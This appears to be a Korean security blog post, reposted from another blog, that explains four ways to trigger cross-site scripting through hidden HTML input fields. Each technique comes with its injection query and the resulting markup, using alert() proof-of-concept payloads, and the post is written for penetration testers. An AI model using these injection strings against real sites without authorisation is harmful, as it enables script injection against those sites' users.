HIDDEN:XSS - XSS in hidden field input(input -> hidden에서의 XSS)

2016. 10. 27. 21:47·프로젝트 관련 조사/모의 해킹
반응형

출처:http://www.hahwul.com/2016/06/web-hacking-hiddenxss-xss-in-hidden.html


웹 취약점 진단에서 가장 만만하면서 가장 어려울때도 있는 XSS에 대한 이야기를 할까합니다. 그 중에서도 오늘은 hidden XSS. 즉 hidden 속성을 가진 태그에 대한 xss입니다.

앞서 간단하게 hidden 속성, 왜 hidden이 우회하기 힘든지 설명하고 각각 우회 방법에 대해 작성하였습니다.
읽으시기 전에 편한 이해를 위하여 코드 부분에 대한 설명부터 하겠습니다. (아래 양식으로 Case 별로 작성하였습니다.)


제약조건: # 우회하기 위해 필요한 조건
query:   # 공격(Attack) Query
output   # 결과
원문:    # 사용자 입력 구간이 들어가는 곳(Default code)
         # [USER INJECT] -> 공격 포인트(Attack point)
공격:    # qeury 입력으로 발생한 결과(공격으로 인한 output)

hidden 속성이란?

웹은 각각의 태그와 속성으로 이루어져서 사용자에게 알아보기 좋은 웹 UI를 제공해줍니다.
브라우저가 HTML을 해석하는 과정에서 hidden 속성을 만나게 되면 페이지에 노출하지 않게 됩니다.

다만 이 노출은 display:none과 약간 다른 성격을 가지는데요. display:none은 페이지에 보이지 않게하지만 hidden 속성은 존재 자체를 없애버립니다 =_=

그래서.. hidden이 들어간 태그에 대해서는 onmouseover, onclick, onfocus 등의 속성을 이용한 공격이 불가하게 되지요.

Hidden XSS 1 - 태그 탈출하기(Escape input tag)

가장 오랜된 방법이며 대체로 불가능한 경우가 많은 방법입니다.
단순히 hiddend을 나가기 위한 방법만이 아닌 XSS를 하기 위해서 많이들 사용하는 방법이며
quote('), double qoute(") 를 통해 삽입 구간이후로 나가 > < 등 특수문자로 tag 밖으로 나갑니다.


제약조건: 특수문자 우회(" ' < >)
query: "><img src="z" onerror="alert(45)">
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value=""><img src="z" onerror="alert(45)">">




이 방법은 각 속성을 나갈 수 있는 더블퀘테이션, 쿼테이션이 필요하며 < >  와 같이 태그 문자열도 들어가서
많은 취약 조건이 필요합니다.

Hidden XSS 2 - type 속성 변조하기(Tampering type attribute)

이 방법은 사용자 입력이 type 속성보다 앞이 있을 때 가능합니다.
원래 선언된 type보다 먼저 type을 선언하여 hidden을 풀어서 xss를 수행합니다.


제약조건: user input이 type 속성보다 앞에 선언되어야 함 / 특수문자 우회(" or ')
query: " type="text" onfocus="alert(45)" autofocus a="
output
원문: <input name="xsstest" value="[USER INJECT]" type="hidden">
공격: <input name="xsstest" value="" type="text" onfocus="alert(45)" autofocus a="" type="hidden">

개발자의 간단한 실수(왜 type을 뒤에 썼을지..)로 인해서 우회가 가능한 case 이지요.



Hidden XSS 3 - 스타일 속성으로 태그 끌어내기(sytle="display:block")

세번째 방법은 구버전의 IE(6,7,8)과 Firefox 구버전에서 가능한 방법입니다.
아직 아주 구버전의 소프트웨어를 사용하는 사용자가 존재하기 때문에 같이 언급하면 좋을 것 같아 작성하였습니다.


제약조건: 패치 이전 브라우저(IE6/7/8, firefox 구버전) , 특수문자 우회(' or ")
query: " onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="" onmouseover="alert(45)" style="display:block;width:100%;height:1000px;" a="">

예전에 가능했던 방법이며 현재는 브라우저사에서 sytle보다 hidden을 우선으로 주었기 때문에 불가능합니다.

Hidden XSS 4 - accesskey + onclick을 통한 우회

작년 11월(2015)에 PortSwigger(burp 벤더)에서 블로그로 포스팅한 방법입니다.
바로 accesskey 속성을 이용한 우회방법이죠.


제약조건: 사용자가 XSS를 트리거해야함. (key input)
query: hwul" accesskey="X" onclick="alert(45)" a="
output
원문: <input type="hidden" name="xsstest" value="[USER INJECT]">
공격: <input type="hidden" name="xsstest" value="hwul" accesskey="X" onclick="alert(45)" a=" ">




이 방법은 키 입력을 이용한 XSS 방법입니다. 저도 생각도 못한 속성으로 풀어나갔네요.
물론 직접 영향력을 만들기는 약간 어렵습니다. (사용자가 키 입력으로 트리거 해야하기 때문에)

Vulnerability Trigger
Firefox - linux/windows : ALT+SHIFT+X
OS X - CTRL+ALT+X

사용자에게 입력을 유도할 수 있다면 좋은 우회방법이겠지요.

정리

앞에 3가지 방법은 hidden을 우회하기 위해서 많이 찾아보셨을 것 같습니다.
4번은 트리거 조건은 약간 있지만 우회가 가능하고 이것에 대해서 따로 패치도 없었기 때문에
진단/모의해킹 시 나름 유용하게 사용될 수 있을 것 같네요.

항상 가까운곳에 해답이 있다고 생각합니다. 찾다보면 자기만의 재미있는 우회 방법이 생겨나지요 :)

Reference

http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html

반응형
저작자표시 (새창열림)

'프로젝트 관련 조사 > 모의 해킹' 카테고리의 다른 글

HEX Encoding을 이용한 XSS 필터링 우회  (1) 2016.10.27
XSS 시 <> 우회 방법  (0) 2016.10.27
CODEBLACK SQL Injection Cheat Sheet v1.0  (0) 2016.10.27
무료 SQL 인젝션 스캐너 15 제품 요약 정리  (0) 2016.10.27
XSS 공격 종류  (0) 2016.10.27
'프로젝트 관련 조사/모의 해킹' 카테고리의 다른 글
  • HEX Encoding을 이용한 XSS 필터링 우회
  • XSS 시 <> 우회 방법
  • CODEBLACK SQL Injection Cheat Sheet v1.0
  • 무료 SQL 인젝션 스캐너 15 제품 요약 정리
호레
호레
창업 / IT / 육아 / 일상 / 여행
    반응형
  • 호레
    Unique Life
    호레
  • 전체
    오늘
    어제
    • 분류 전체보기
      • 법률
        • 기본
        • 개인정보보호법
        • 정보통신망법
        • 전자금융거래법
        • 전자금융감독규정
        • 신용정보법
        • 온라인투자연계금융업법
      • 창업
        • 외식업 관련
        • 임대업 관련
        • 유통업 관련
        • 세무 관련
        • 마케팅 관련
        • 기타 지식
        • 트렌드
        • Youtube
      • IT기술 관련
        • 모바일
        • 윈도우
        • 리눅스
        • MAC OS
        • 네트워크
        • 빅데이터 관련
        • A.I 인공지능
        • 파이썬_루비 등 언어
        • 쿠버네티스
        • 기타 기술
      • 퍼블릭 클라우드 관련
        • Azure
        • GCP
        • AWS
      • 정보보안 관련
        • QRadar
        • Splunk
        • System
        • Web
      • 기타
        • 세상 모든 정보
        • 서적
      • 게임 관련
        • 유니티
      • 부동산
      • 맛집 찾기
        • 강남역
        • 양재역
        • 판교역
        • ★★★★★
        • ★★★★
        • ★★★
        • ★★
        • ★
      • 결혼_육아 생활
        • 리얼후기
        • 일상
        • 육아
        • 사랑
        • Food
      • 영어
        • 스피킹
        • 문법
        • 팝송
        • 영화
      • K-컨텐츠
        • 드라마
        • 영화
        • 예능
      • 독서
      • 프로젝트 관련 조사
        • 시스템 구축
        • 로그 관련
        • 웹
        • APT
        • 모의 해킹
        • DB
        • 허니팟
        • 수리카타
        • 알고리즘
        • FDS
      • 기업별 구내 식당 평가
        • 한국관광공사
        • KT telecop
        • KT M&S
        • KT powertel
        • KT cs 연수원
        • 진에어
      • 대학 생활
        • 위드윈연구소
        • 진로 고민
        • 채용정보
        • 자동차
        • 주식
        • 악성코드
        • 게임 보안
      • 쉐어하우스
  • 블로그 메뉴

    • 홈
    • 게임 관련
    • IT 기술 관련
    • 태그
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    마케팅
    보안가이드
    상호관세
    수제버거
    맛집
    쥬쥬랜드
    무역전쟁
    유니티
    판교맛집
    판교역
    이재곧죽습니다
    대통령
    수제버거맛집
    수제버거존맛
    점심
    복리후생
    런치
    돈까스
    AWS
    판교
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.0
호레
HIDDEN:XSS - XSS in hidden field input(input -> hidden에서의 XSS)
상단으로

티스토리툴바